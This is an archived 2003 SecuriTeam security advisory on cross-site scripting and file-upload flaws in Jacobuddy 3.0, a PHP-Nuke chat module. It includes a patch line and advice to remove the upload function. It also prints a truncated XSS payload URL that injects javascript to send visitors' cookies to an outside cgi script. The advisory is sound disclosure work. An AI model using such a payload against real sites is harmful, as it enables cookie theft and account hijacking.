

[UNIX] Sourceforge Jacobuddy Cross Site Scripting (XSS) and Upload Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0017.html>

From: support@securiteam.com

Date: 03/09/03

From: support@securiteam.com

To: list@securiteam.com

Date: 9 Mar 2003 15:04:27 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

Sourceforge Jacobuddy Cross Site Scripting (XSS) and Upload Exploit

SUMMARY

<http://www.programmiamo.net/modules/mx_jacobuddy/mx_jacobuddy.php>
Jacobuddy a JavaScript Real Time Chat Module is an independent add-on for the open source GNU/GPL content management system PHP-Nuke. Computer Cops has discovered that Jacobuddy is vulnerable to Cross Site Scripting (XSS) and file system manipulation.

DETAILS

Vulnerable systems:

* Jacobuddy version 3.0

XSS Vulnerability:

The following URL is a sample of how Jacobuddy can be seeded with a XSS exploit within the message body:

[http://www.laudanski.com/" style="background-image:url\(javascript:nurl='http://www.laudanski.com/j.cgi?';nurl=nurl](http://www.laudanski.com/)

Securiteam: [UNIX] Sourceforge Jacobuddy Cross Site Scripting (XSS) and Upload Exploit

The current un-patched version will automatically redirect the receiver's pop-up Jacobuddy message to another site grabbing their cookie information from the attacked site.

The patch for this is applied to the buddy.php file:

In the following function block:

```
function send($to, $to_userid, $message, $subject) {
```

Add the following line after the global statement:

```
$message = htmlspecialchars(strip_tags($message));
```

Upload vulnerability:

The next vulnerability is the infamous DCC file transfer within the buddy.php file.

Any file uploaded into the system can stay on the system. A malicious script can be generated to grab vital file system data like the PHP-NUKE config.php file and turned into a text file for the malicious uploader to access. Computer Cops highly advises that the entire DCC function be removed from the file in addition to the DCC case block and \$who_online clause for the DCC link.

ADDITIONAL INFORMATION

The information has been provided by

<<mailto:zx@computercops.propagation.net>> Computer Cops.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.